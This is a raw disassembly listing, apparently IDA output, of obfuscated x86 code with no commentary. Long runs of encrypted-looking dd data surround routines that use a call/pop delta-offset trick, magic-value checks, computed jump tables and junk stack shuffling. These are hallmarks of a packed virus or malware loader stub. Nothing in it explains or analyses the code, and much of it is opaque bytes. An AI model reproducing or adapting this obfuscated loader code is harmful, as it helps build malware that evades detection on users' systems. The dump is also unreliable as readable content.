43E44F5Dh, 1DBBF144h, 3E1D2306h dd 0AEE61765h, 0C8144765h, 809F8395h, 218B42FAh, 93348B07h dd 7DF66AD7h, 0D07D9EB8h, 36B86509h, 0F09C4245h, 0C028F70Dh dd 5E2A34D4h, 0E23F9840h, 180A92A0h, 34A819D7h, 92BFAA5Eh dd 2291E05Fh, 1CEA9C7Ch, 0D2BBE0E9h, 9137F2EAh, 839D4F4Fh dd 0AE81E27h, 0BD000000h, 0CC7F33FEh, 9FA65F28h, 2BD9818Dh dd 5B1C0D77h, 49B533h, 0C38107E9h, 5D8Dh, 0FEB8D3B2h, 81599A4Bh dd 65CB33C0h, 68A0FA6h, 31000000h, 0E907DD8Dh, 663B8B07h dd 4EC5CA81h, 0A398EF81h, 858915B5h, 7E917BDh, 0C4C5F781h dd 65BA5CA6h, 8162349Bh, 0D04E26EFh, 0C88B5059h, 0EE95759h dd 0D3000000h, 0EA2512D2h, 43A380Bh, 0A477B0B7h, 66038F50h dd 0FEDDE281h, 6603EB83h, 0CBCDE681h, 0C1B58B4Bh, 4807E91Bh dd 29850Fh, 0EE90000h, 1C000000h, 0AF88CFF6h, 0B7A84299h dd 0E34551F4h, 26E9F1h, 75BE0000h, 0D93880EDh, 51B6BF6Eh dd 26094397h, 0E940B3A3h, 0FFFFFF79h, 0ADC4B5F4h, 2F4EDD01h dd 4AA02A9Eh, 0B0BCEE26h, 15FE9h db 0 ; =============== S U B R O U T I N E ======================================= sub_5FADE9 proc near ; CODE XREF: sub_4068E0+12Cp ; sub_409CA0+1Dp ... push edx mov edx, esp pusha call $+5 pop ebp sub ebp, 7F07038h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5FAF3F mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 8793D91Ah xor eax, ebx sub eax, 4 mov [ebp+7E9320Dh], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0CB306396h xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+7E922E5h], eax mov eax, [edx+14h] mov [ebp+7E922B1h], eax mov eax, [edx+18h] push ebx jmp loc_5FAF03 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E91FF5h] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E9245Dh] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E92979h] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E92045h] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E929A5h] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E91E05h] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E91F55h] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E912D1h] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E90E1Dh] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E9170Dh] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E93151h] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E90F11h] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E91A89h] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E91735h] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E92C6Dh] jmp loc_5FAF17 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E92279h] jmp loc_5FAF17 ; --------------------------------------------------------------------------- loc_5FAF03: ; CODE XREF: sub_5FADE9+65j mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+7F07099h] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- loc_5FAF17: ; CODE XREF: sub_5FADE9+70j ; sub_5FADE9+7Bj ... call dword ptr [ebp+7E92285h] pop ebx loc_5FAF1E: ; CODE XREF: sub_5FADE9+14Ej mov eax, [ebp+7E9320Dh] cmp [eax+4], ebx jnz loc_5FAF3C push ebx push 1 call dword ptr [ebp+7E90C31h] pop ebx jmp loc_5FAF1E ; --------------------------------------------------------------------------- loc_5FAF3C: ; CODE XREF: sub_5FADE9+13Ej popa pop edx retn ; --------------------------------------------------------------------------- loc_5FAF3F: ; CODE XREF: sub_5FADE9+18j popa pop edx mov eax, 7E41A8ADh jmp eax sub_5FADE9 endp ; --------------------------------------------------------------------------- dd 0AD5858Bh, 8D8D07E9h, 7F07187h, 8B014189h, 5985C6C3h dd 5607E926h, 0C530DF68h, 11B5FFA9h, 8D07E90Bh, 0EC9FDB85h dd 8DD0FF07h, 0E92B298Dh, 406A5107h, 93DB5FFh, 0B5FF07E9h dd 7E91BADh, 0B5FFD0FFh, 7E9093Dh, 1BADB5FFh, 0EE807E9h dd 0BE000000h, 0E0C22B18h, 476F9EDAh, 925069DEh, 835E5E9Ah dd 2CC104EEh, 24C10224h, 34030224h, 241CF724h, 0BAh, 3234FF00h dd 49F3815Bh, 8125BA9Fh, 2A0773C3h, 0A9F3812Fh, 8901781Bh dd 0EA83161Ch, 24143B04h, 0F850Fh, 17E90000h, 3D000000h dd 2EC1B25Ch, 1A07FADFh, 0FFC7E9C5h, 6898FFFFh, 0E40EE9D2h dd 9D8D3C10h, 7E92089h, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh dd 0E8C98B18h, 0Ah, 5D933AF1h, 4DF57707h, 0CE8ECC3h, 79000000h dd 0C0E7AF96h, 826DA65Dh, 66468A1Bh, 2707F281h, 5A565B5Ah dd 5B14C381h, 0DA810000h, 4DDFB0CCh, 48BC92Bh, 0C081F80Bh dd 718E194Ch, 18E0Fh, 81F90000h, 7120BDC0h, 3FC08112h dd 8A68E76Fh, 0B96050F7h, 41212EB1h, 0B048F61h, 0E43FC9BAh dd 5820F61h, 0BF000000h, 764C15B9h, 8104E983h, 0FFA584F9h dd 0C850FFFh, 0B6000000h, 1AE93Eh, 9790000h, 6688C04Ch dd 0A3E9FE8Bh, 0D9FFFFFFh, 0B02D37FEh, 0F372370Dh, 705CDB7Eh dd 73FD8D8Dh, 6A07F0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 75D93C3h, 0C34DF577h, 320D8D89h dd 6A07E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 0CA4382C3h, 89CA0D95h, 0E92CB18Dh, 0E585C707h dd 2007E922h, 6A00005Dh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0AA0AC352h, 0CFFAD7A3h dd 29BFCE4Ch, 0E92619BDh, 0B185C707h, 7E922h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 8AEFC352h, 0F533DE2h, 789h, 76BB6000h, 6136E084h dd 2C6DB5FFh, 6A07E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0D43FBC3h, 5A401018h, 228595FFh dd 9D8907E9h, 7E90B05h, 95FF006Ah, 7E90C31h, 79EBC08Bh dd 191996CBh, 47A2F54Ah, 7D3FD91Bh, 1C15EAC7h, 0F3D6602h dd 0C0976803h, 5196D32Dh, 2DEA8F77h, 3E187B25h, 0F566CA3Ah dd 144EE076h, 0B2C684A1h, 63F6E873h, 0DB42AAh, 31602897h dd 569E0345h, 3EE9A20Fh, 8476F119h, 53D5691Dh, 0B18C8F49h dd 587B650Ah, 24734ED9h, 0CCB2C91Dh, 910F1B0Dh, 158DB7B7h dd 62D885A5h, 42112224h, 78C933F0h, 0D32B87B3h, 7C5DE694h dd 19E9A1h, 0D9330000h, 58Eh, 4 dup(0) dd 0E9000000h, 4CCh, 0F075F468h, 71CE907h, 7768FFF9h, 0E907F076h dd 0FFF90712h, 0F077A968h, 708E907h, 65F6FFF9h, 1A3E9A1Bh dd 0CD63CD60h, 7E9602B3h, 32C771FCh, 0F435AB4Ah, 6A0B7184h dd 0D855D7CEh, 0CA1DB7Ch, 45E88AA0h, 8B0B8620h, 85286C51h dd 0A74A1177h, 0E67F09D5h, 297542A0h, 4D2FCD47h, 955DF3F1h dd 0DF690B21h, 3A9FE077h, 7CFCE373h, 0CED428BEh, 29C49F62h dd 0EE752CBEh, 0A437B52Dh, 637F26FEh, 1928732Eh, 3D8754F5h dd 0F28C1A77h, 33CF655Bh, 73A43E7Eh, 39CCD628h, 0E44CDDC6h dd 2F649h, 0B93F1900h, 1BAD3A35h, 0B59F7366h, 0A5614337h dd 4D38390Ch, 0BA2DC805h, 11CE7120h, 5E443267h, 8DEF00CCh dd 0F62034B1h, 914783F5h, 26FB3703h, 1E3C980Bh, 0B36D2D5Ch dd 245D2325h, 2325B364h, 49EF6ACh, 824AE476h, 20601193h dd 382325B3h, 752F6715h, 7912BBDh, 25B30A8Ah, 50980A23h dd 7E77D9B1h, 1A97212Ah, 1B3C779Ah, 791D2F7Ah, 0AD30820h dd 5C33E174h, 0ECE8FE06h, 0B04A5804h, 0E19BBE26h, 0FAB871Dh dd 84E293EDh, 0E84032D8h, 0BD482ECCh, 8D7794E2h, 9212875Bh dd 821B3CC1h, 0C12D6D24h, 0BDE71B3Ch, 7810992Fh, 426C0F6h dd 2C997C8h, 9DBE0000h, 52E652E3h, 52B8528h, 465EFA7Bh dd 6A8F29C4h, 2C0D6312h, 22D3A94Ch, 901D9FF6h, 0C4691324h dd 3DB0C268h, 53534E58h, 0BD286C50h, 0A0B3D98Fh, 6ABBEF01h dd 34C654EAh, 4D4FBD7Dh, 0BB4D5738h, 0F77EFE13h, 78C4B045h dd 739ED76Eh, 77CFB146h, 9CFD86Dh, 36BC61D0h, 7D13933Fh dd 59F7D4B5h, 59F3286Ch, 5A26661Bh, 9D14286Ch, 286C5A1Dh dd 0C3E1ADF7h, 99D6842Dh, 6EE63410h, 24679h, 5E1E3D00h dd 0ABD165D7h, 0F688AE0Ah, 47C5DD7Fh, 8DEF02AEh, 0C3AF88E0h dd 75A74E2Eh, 0BB15981Ch, 0EF49E494h, 0DD82334Dh, 4ED0D0C1h dd 0A40286Ch, 37A0B354h, 4F2CECA5h, 0BEE4384Dh, 5023BF66h dd 35D9286Ch, 0D9C86294h, 286C4FD9h, 281693Bh, 8C2150C2h dd 1663Ch, 0A04A8600h, 0A8420ED6h, 0E10C27CEh, 0D578E476h dd 0C35D4BA7h, 0AB87F11Bh, 0B5ABBBDAh, 75C9DB37h, 73AC308Ch dd 8128D428h, 19F57050h, 4B8E8Ch, 0B3D40000h, 0ECA537A0h dd 37B5AAEDh, 0D06DFFA5h, 436301AAh, 63894DB2h, 7BB7CD11h dd 79627E27h, 0F51A2873h, 0F91FBB8Bh, 4448BF87h, 61ED55A5h dd 2CA91BB8h, 0F78E8C1Ah, 0AEE72AFFh, 9AAA9F2Eh, 0A761BC74h dd 65000000h, 0CA2656F9h, 0D6A04AF8h, 0B7F7AA44h, 91305CC4h dd 0A220FC80h, 6B26B0F2h, 305CC52Bh, 3F73BFE5h, 26FE7E93h dd 2AC080AAh, 0A420BA48h, 0EF03EF6Dh, 862F49E3h, 5CBF81FFh dd 2B55E730h, 54203591h, 0B33EFA88h, 50EA7DF8h, 0B0EBC821h dd 2EB8EA37h, 44E993A6h, 0BA3745E8h, 340B28EEh, 14497EF6h dd 0E3000001h, 2B852848h, 5CF87507h, 832DC0BAh, 309C1193h dd 46D65F1Dh, 185CF1E1h, 6AEA3B95h, 0B6C669CBh, 0FD7F9D3Fh dd 1E930F70h, 286C4D9Eh, 4A664476h, 0FC58D5A7h, 15911C5Eh dd 0C586067Bh, 148E305Ch, 0A04AEEDCh, 0A8420ED6h, 7A903CCEh dd 529E24F8h, 8A19144Fh, 5CC49717h, 952B7930h, 0A2DF6903h dd 305CC4E2h, 0C9B87032h, 37B2780Fh, 0E975079Dh, 0C6BD3044h dd 287376EAh, 670E6882h, 0CF622035h, 0BD5351ADh, 894E61h dd 78900000h, 0C4F3B3EEh, 871D305Ch, 0EC7BF6ABh, 500B275Ah dd 7F25384Dh, 77012BA7h, 0BEB852FEh, 0AFC7BF66h, 76202AEEh dd 0AFE5A5DCh, 53E725EDh, 0C7CFD529h, 0A6D679DDh, 4D87264Ah dd 1254FBAFh, 21A383FDh, 0A431B393h, 841B9FF2h, 6D009611h dd 0D77929C3h, 0B54B59A5h, 0B7356D69h, 7514386Fh, 4DDF99B3h dd 21096B81h, 98DA70DCh, 0F1A03A44h, 25ECF9B1h, 0D6E94163h dd 0Fh, 0C5DC7868h, 57D1EB47h, 33136D8Fh, 4A4B79B1h, 430FD7A1h dd 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh, 6D69B5C7h dd 636FB735h, 6753B3CDh, 5E55A9D3h, 592C68h, 24148900h dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 68243489h, 508Ah dd 57240489h, 766D53BFh, 0C1D7F75Ah, 0F78108E7h, 302D68B9h dd 0B005F781h, 0FE89BE4Fh, 83243C8Bh, 0EC8304C4h, 24248904h dd 4240483h, 0B9515658h, 5A05544Ah, 4244C01h, 8408F59h dd 4A086881h, 8B5A0554h, 89532404h, 4C381E3h, 83000000h dd 1C8704C3h, 34FF5C24h, 0C4815E24h, 4, 0F9025DE9h, 0BAA22FFh dd 0F078E2B8h, 0FFC50307h, 0F14320E0h, 80E57C01h, 0ACB79A4Dh dd 0D81CDB38h, 0C012F825h, 0DF163767h, 9489F748h, 84CC724Ch dd 0D1FCB34Bh, 0A573013Ch, 0CBF76B65h, 578E26Bh, 0BECB545Dh dd 0B469DC04h, 2E28650Eh, 4695DD64h, 0E37ACA31h, 9E386F15h dd 3BD5F308h, 45F7C55Fh, 0EB076F3Ch, 1E2C447h, 6A9A9F5Bh dd 506DDB6Ch, 0F5658F5Eh, 72088E0Ch, 88C3E023h, 0D22FF61Fh dd 29B0EB3Ch, 0C9352F1Eh, 5E13755Eh, 12E807h, 1C6F0000h dd 0C702EF3Ch, 10129E9h, 0F2A1FAA9h, 26B4BFFCh, 168C0Fh dd 10E80000h, 0BC000000h, 0E309263Fh, 9C4DC455h, 61C232C5h dd 5EE85B81h, 0E9606059h, 13h, 0AE68F4B0h, 0A154DD37h dd 87342F44h, 6E785ED2h, 6639E128h, 61320BB9h, 8E9h, 5C282300h dd 0F7B41ECFh, 0C1816149h, 73CBh, 8830Fh, 8C0F0000h, 2 dd 0BB98B2h, 8B000000h, 0B34FFC3h, 8113B45Fh, 239ACAC7h dd 0E9806055h, 0B4EA81E2h, 610BE46Fh, 98CFF781h, 81F9482Ah dd 225A1CF7h, 57F18B22h, 62C98BBAh, 19048F2Dh, 8BF38B66h dd 2EB83D3h, 11E9h, 18C91300h, 0F902214Ch, 748BC744h, 0B43798Ah dd 4B4B0E13h, 61606052h, 0DE8h, 0FAE3B800h, 1DD30243h dd 0D450BB6Eh, 615A62C4h, 20FB8158h, 0FFFFF8Dh, 0FFFF8C85h dd 65BE66FFh, 6E8BAh, 0BAFB0000h, 31B1F5D3h, 2B3DFEBEh dd 0DF80586Eh, 29C08122h, 0E9000068h, 5, 25843EDAh, 830ABA2Ch dd 0C2816CC4h, 933B96D4h, 0EE9h, 75B32600h, 8D595BC0h dd 1312A8F7h, 0FFB71FA7h, 12E830h, 49F80000h, 7D596BB6h dd 334212F1h, 0EAEE2C03h, 0E5042086h, 12CDEB81h, 5F5B7DD2h dd 38BB6656h, 0F7815906h, 4E686244h, 6DC781F9h, 8164E6E8h dd 0CC3E66C1h, 28F78162h, 0B1516B48h, 0E9388997h, 0Ch dd 9D4F4F91h, 9C1E2783h, 8A10620Ch, 0C31EE881h, 0C88A4418h dd 0C31AC081h, 0EA814418h, 1, 0FF91850Fh, 8B0FFFFFh, 3 dd 0E8CBB70Fh, 0Ah, 0D0945573h, 316F3806h, 0D681D33Ah dd 2365771Eh, 4FC18159h, 0B8000072h, 60B52791h, 0F4E8C081h dd 8BF99F4Ah, 8B3DBB11h, 0F2815F92h, 0C0C38FFh, 326951BBh dd 3AF28137h, 813651ECh, 7C48DFEBh, 91C28146h, 66668436h dd 52B878BBh, 0F018FF9h, 581h, 0C6816600h, 0E9832E6Dh dd 77C78004h, 1E881h, 850F0000h, 0FFFFFFB7h, 0E9DBB70Fh dd 13h, 109DD10Eh, 3 dup(0) dd 0E9000000h, 5C2h, 8A5D764h, 43F288ACh, 0B03D3FD1h, 0E78E0C04h dd 59D4A0B5h, 0E70A66C3h, 65BC1895h, 4DE24EE7h, 4168233h dd 892FB7Ah, 6C491999h, 0E3C1FB28h, 4339DC78h, 3840D7E3h dd 0BD48DEE4h, 4046F11h, 0FEDA16D9h, 0F6C2225Ch, 8FC51E63h dd 0BCE0F52h, 0BE5CF875h, 0E1902ABCh, 305C34A1h, 0A5F93173h dd 9010811Bh, 80305C34h, 48E2D622h, 1D309C2Eh, 35FD875Fh dd 8856EFF9h, 0F61B9D0Ah, 718531F9h, 7A9E3B0Bh, 79FB11D3h dd 9BD36AF4h, 0D74C7286h, 29CEEA46h, 0DD72DE57h, 0DA6022A4h dd 0B4BC49CBh, 9D14A6B1h, 305C3D1Dh, 0C71FADF7h, 0F52C9A8Bh dd 0B115AF77h, 7E04D89Ch, 9EF65EE8h, 6798D41Ch, 0EB0CB861h dd 0E8821C91h, 240A715Dh, 493848EEh, 305CB249h, 0A511D9CBh dd 6819E597h, 305CB24Dh, 906C082Dh, 94681224h, 0D410B9C7h dd 0DDE73FBDh, 0A34AAE4Fh, 30F38E76h, 5FE884h, 4AFA0000h dd 700ED6A0h, 0C4EBABE6h, 7F25305Ch, 0C4D0D2B3h, 43D5305Ch dd 0E087799Ah, 20AC8430h, 13916D0Fh, 0D8A27h, 61FC0000h dd 0E802057Eh, 0C949FF8Eh, 4A2D9F5Bh, 324CE2A6h, 0E242D0D2h dd 57574AE4h, 0B9305CC5h, 0B23263EBh, 0BCBE5246h, 0BE3C5460h dd 18C16B66h, 833248ECh, 0F479FB11h, 3ADC784Eh, 29CCE840h dd 33C7F353h, 0B925BF49h, 0F6B6EB69h, 1E305CC4h, 0BB70AC84h dd 0EF90A72Fh, 2B06573Fh, 41A93FFCh, 0A5487C1Dh, 58F25ED7h dd 648AC61Eh, 1D770A2Ch, 0D747F052h, 0DB2BB94Fh, 1DBE5FE3h dd 8430E593h, 9AD3h, 0A74AF700h, 46AA43D5h, 0D9D9C8EDh dd 3B305BD7h, 616FDC69h, 0A4E49D2Fh, 6C305C89h, 2AA6FA36h dd 64E07A04h, 6110AAD0h, 305C8A21h, 2579B1F3h, 2D64FEA8h dd 305C8A6Dh, 4968FDA7h, 8D7C5E56h, 0FAED21Eh, 0A94430C5h dd 0B292EA0Fh, 94BA0E06h, 0FE881AEAh, 5C680383h, 1970D30h dd 0FA7E913Dh, 5C680787h, 59B0930h, 27A9D39h, 96375922h dd 0A950FC64h, 31378868h, 3DE684h, 4AFC0000h, 4D09D5A7h dd 9C38D2AAh, 903C007Ah, 0A0220280h, 1F8A2612h, 7D9054F5h dd 4ACC76FFh, 9908D4A6h, 305CC53Eh, 8152FB1Dh, 8430E03Fh dd 7C6F59F4h, 21493132h, 194C9h, 4A2E0000h, 8440DAA4h dd 8F230F8Dh, 0C74F64F1h, 306A6E58h, 3C3EDCF8h, 3ABCD4E0h dd 5C514747h, 45DBC930h, 40C4DDF9h, 6E0F01FCh, 0CC6D938Ch dd 0E984F618h, 0A1ABBB6h, 9F2EB488h, 274450D1h, 17A13752h dd 0B5219F9Ah, 0DED36D37h, 287321DEh, 8A6183CFh, 0F2A2CE90h dd 389478B0h, 89A6AE8h, 0C2EAA7Ah, 0DAA4CF75h, 0B5110D01h dd 780ADAA2h, 43E94BEAh, 8318B636h, 0CB59765Fh, 67D06D7Bh dd 58B428E8h, 0D1D3B27Eh, 262873C1h, 0E36B8B32h, 8BF51B4Fh dd 5F9B29F5h, 0EA7D17Bh, 0EC3D0590h, 0BD81F319h, 0C7C99627h dd 97A511D9h, 0C8B953E5h, 287325C8h, 30C35A48h, 943E45E2h dd 2CA8C42Ch, 72DA6C0Eh, 1A56A2DCh, 6A9E3F41h, 8A3FB6C0h dd 8C1A4E3Ah, 12BB4h, 0E1902A00h, 287362A1h, 0CBF93173h dd 0A537A0B3h, 0E3CC720Bh, 0BD705C1h, 5C141696h, 16A4FE30h dd 0E96C2BDAh, 0FCAA37B4h, 72E90585h, 7950F28h, 0FF79933Fh dd 4630DA76h, 3E38D2FEh, 42EB15E6h, 6B0A7486h, 1ABBE6DEh dd 4A008Ch, 0B3A20000h, 19B2DBAh, 6DC5B745h, 5CC53C9Ch dd 3CCED4B0h, 21FD7F90h, 6A1B57A3h, 0B05CC52Ah, 722FB9EDh dd 0B05CC532h, 468C0E2h, 46C55A65h, 7AF828B4h, 0C4F1B1E0h dd 8123B05Ch, 62423FA9h, 0B2305CC5h, 95C87DF0h, 1A000000h dd 0A537A0B3h, 0B593F1ECh, 49E3C137h, 92C2C2BFh, 50522873h dd 0E2084498h, 99B31D90h, 419E07DFh, 25287392h, 3F9B6B11h dd 3683631Dh, 0A3497B22h, 464A43D1h, 0ADCF6DA7h, 55C26D00h dd 387829C3h, 10287392h, 23A17DFFh, 0EFF93173h, 6415FCB2h dd 92723030h, 336E1426h, 20831673h, 4F47079Dh, 0B0E73FCDh dd 0B2CC6EF6h, 74985052h, 0D84FEAD5h, 0E70864Eh, 7A19AC36h dd 0E9F8AF22h, 89F8EE4Ah, 28738813h, 0A5D77BE3h, 7203A14Dh dd 0B5C768F4h, 2D9F5B69h, 0A537A0B3h, 4D48B6ECh, 0D4287A38h dd 8D2052F8h, 49590923h, 38E935CBh, 1FDDF6E7h, 854FEE02h dd 0C76D0277h, 0F4513E62h, 0F75FCF66h, 0BEC41860h, 0CEB44672h dd 0FF39D3D3h, 0D1673D10h, 0B4F4AD47h, 5C10FF39h, 1AB6EA46h dd 18B4880Ah, 12BE86F4h, 0C6A383FDh, 54CF2BD2h, 0BD5F8930h dd 0E29F29C3h, 10FF39A2h, 14E86ABAh, 549C068Eh, 334DEF49h dd 12920F99h, 210FF3Ah, 1B9B16A0h, 0F510FF3Ah, 0B82F43AFh dd 0Ah, 0AD254CAh, 3B4995E7h, 0A14ACDFFh, 0A9430FD7h, 0B45B77CFh dd 455C78C4h, 0BE537FC7h, 0C76A66BEh, 356D69B5h, 0CD636FB7h dd 0D36753B3h, 575E55A9h, 0C781E789h, 4, 8704EF83h, 895C243Ch dd 89512404h, 4C181E1h, 83000000h, 0C8704E9h, 34895C24h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push edx mov edx, 259D5101h mov esi, 226D2D2Fh xor esi, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx sub esp, 4 mov [esp], esi pop dword ptr [ebx+8] mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov esi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_58B97E ; --------------------------------------------------------------------------- daa and dword ptr [ecx-7C686E11h], 0A2CF3061h sub esp, esi mov eax, 7F08149h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 91h dd 7863834Ah, 0AB79A434h, 301F4D0Ah, 293F4D6Ah, 4A626AE0h dd 0E568575Eh, 6C2FC032h, 5008F3A4h, 0BF49D9ADh, 0B83DDC96h dd 0B038F6AEh, 0AE0AF1D1h, 4F4787E7h, 8270B9CCh, 35483444h dd 0B057A24Ah, 0E9305D08h, 16h, 7330A44Fh, 4 dup(0) dd 48E90000h, 17000005h, 5FF97404h, 802CC1BBh, 37610C6Eh dd 64D05DDFh, 920AABD1h, 64102595h, 0B6366FC9h, 27A9D3Fh dd 492BC173h, 0AAE7C3A4h, 286C42EAh, 4AB2102Ah, 0A944D6A0h dd 0E8A87F65h, 0A2FE3A38h, 0AA4F0316h, 7B13CD2h, 0DC98BDF5h dd 30DAF64Eh, 319B446h, 6F112782h, 8C780D97h, 4707965Ch dd 94634E65h, 0EBE73BF7h, 0ECE93547h, 8955A148h, 0FCD81064h dd 56391B5Eh, 0CDCFCDECh, 4C3EDB38h, 0B54B71CBh, 0AE17AE38h dd 691F67F4h, 0C869BA16h, 0EA9F683Dh, 0FB85AA0Eh, 4739DE7Ah dd 914A18B5h, 0B4CDDAD3h, 0B1C97C21h, 0FB371CDDh, 9BBD19A7h dd 74AD09E1h, 0AFFB2CF0h, 0F81EEE16h, 5BCE0989h, 0C990B30h dd 2D0553F5h, 4BEC18C1h, 0B589F307h, 0CC3B7B28h, 80160D04h dd 3BD143F2h, 0A13CE539h, 59305BDEh, 507CC0B4h, 6864B8BAh dd 0A6EEB5C7h, 9E72FB07h, 0B85F07FFh, 0F99D74C7h, 0E87E0A94h dd 0B4418300h, 5CF68431h, 5BFD6525h, 0D2C3AF30h, 62F0F252h dd 705B96h, 0B24B0000h, 0E2B2C85Dh, 0AB8705Bh, 70C4DC78h dd 4143A321h, 995153B3h, 0C66B1F3Dh, 25DC20B6h, 305CC563h dd 0E90DAC40h, 79B1CB6Dh, 30E07A4Ah, 3726BF84h, 0A180EC65h dd 10BA692h, 5F000000h, 8D4A64Ah, 72D2A84Ch, 70CC4E46h dd 7ACAB044h, 78C4465Eh, 3EBC5DA3h, 10D4759Fh, 51EC7EFCh dd 0C481508Ch, 9F62CE02h, 0CBB5470Fh, 0D7A14B6Fh, 0A74AE45Eh dd 0A94D09D5h, 0B34773D3h, 0B45975C9h, 61AF7CC0h, 236D3AB8h dd 0D1AB4E7Ah, 1C5AF05Ch, 5CC52565h, 6F83EF30h, 1DB3310Dh dd 0F51BB78Fh, 61FBB8Bh, 0FC12BE86h, 3CAE2985h, 0E2709EE6h dd 0CC6D6702h, 0EF8EB22Eh, 312EC232h, 613C84h, 4A860000h dd 4D09D5A7h, 400DD1ABh, 36DB0DACh, 973FAF46h, 0A321FD7Fh dd 0AECE6357h, 0ADBD4856h, 1E05A8CEh, 0F5189809h, 0AAF8305Bh dd 0A8F8DC14h, 5EE2DA2Ah, 0AA9262BFh, 55EC8431h, 0F6000000h dd 0A0D1A74Ah, 305CC4E0h, 0DC7230h, 0A4DDA3B4h, 305CC4E4h dd 0CDAF402Ch, 0A855A93Fh, 2EC305A4h, 4A63A74Eh, 9908D4A6h dd 305CC53Eh, 8152FB1Dh, 8430E03Fh, 67275AF4h, 0A9305CD1h dd 11E23FFBh, 0E4000000h, 0E6485349h, 0F88D919Dh, 2F9A2DB5h dd 8D3FFB2Eh, 0ADAA44Ah, 72D2AC4Eh, 30C5811Dh, 62EAF844h dd 1945ADCFh, 0EEA2B470h, 0DAE834B6h, 5CA02272h, 6A3DB046h dd 34CE58CFh, 0C4A7E79Ah, 3C69305Ch, 0F7158C00h, 0BB770512h dd 0B4E24FCAh, 9CB11D37h, 6C10D8h, 6EF88EECh, 0E2DDDDD4h dd 6D372872h, 0CF6D6985h, 3EA600ADh, 0BC3E561Ah, 39CC6260h dd 0C77263EFh, 0B367D307h, 3044E999h, 0E176D6ECh, 4C35099Fh dd 2872EA4Ah, 0D014B5DFh, 1BB5383Ah, 13BF87F1h, 0D4A77FF9h dd 58F501A8h, 0F9A0B7FFh, 0C5F139F6h, 1BA84537h, 8C1A44A9h dd 4A34C68Eh, 0ED00E8FAh, 105h, 37A0B3F5h, 0A9430BA5h dd 0DB6D77CFh, 5CC4E6A6h, 0BC742E30h, 0B599CECDh, 865E4437h dd 73336EF8h, 9D28739Ah, 0C8B04707h, 0D4A6B460h, 235DFF59h dd 1B65F7C3h, 6D0C70CBh, 55E791BBh, 0CE166689h, 0D0717CB4h dd 8C1A0AF0h, 3B0Eh, 0BAB35400h, 0C6E69B2Dh, 4EB05CC4h dd 0FB00953h, 5C9B1292h, 15A002B0h, 0CF5DCA4Fh, 0A10E8E77h dd 0DF01B05Ch, 6DFA733Eh, 0A106A6DBh, 0A20E305Ch, 9012F28Ch dd 7EDA7302h, 64000000h, 0F3B3EE78h, 1D305CC4h, 30FB3F80h dd 45DB777Bh, 0B22530EDh, 836E6918h, 5E4437B5h, 826DF886h dd 0DEE79700h, 47D5C129h, 0FE1CB835h, 0BE26A07Ch, 1222E198h dd 0F4EA1AF7h, 0DEFB8A66h, 49287303h, 0C862A647h, 0DA707AEh dd 73041494h, 0EFA2FC28h, 287303AFh, 45AD4361h, 801A8DA8h dd 6381CF11h, 1FE7BD30h, 7DF99B3h, 624DEC10h, 0B8C256F7h dd 3EC85E64h, 72FF8143h, 18950F28h, 37A0B3AAh, 42EAECA5h dd 0FCA6384Dh, 7C0FD36Ah, 0D3BED50Eh, 0E3E13D3Fh, 1498894Dh dd 227EBAC8h, 7BFA8496h, 0FD4133D9h, 0A5D77BE3h, 409DBC4Dh dd 98BC7CACh, 5B2537F1h, 0BDF105C1h, 8002E29Ah, 589012F2h dd 0EB0DC955h, 0DF7D5991h, 12920F99h, 2B3AC42h, 41B1F1A0h dd 4163B3ACh, 128F19B3h, 0B3AC4192h, 94C82082h, 9A6AE838h dd 0AE8C1965h, 7799E87h, 0ED10A53Fh, 7CFC13B8h, 0A48C22A0h dd 0C5579138h, 12AC3ABBh, 0AC721F9Fh, 47B3F1B3h, 67BFB953h dd 370h, 0F6549200h, 0FD7A14Ah, 77CFA943h, 78C4B45Bh, 7FC7455Ch dd 66BEBE53h, 69B5C76Ah, 6FB7356Dh, 53B3CD63h, 55A9D367h dd 2541685Eh, 0C890000h, 0E996824h, 3C890000h, 63FB6824h dd 2C890000h, 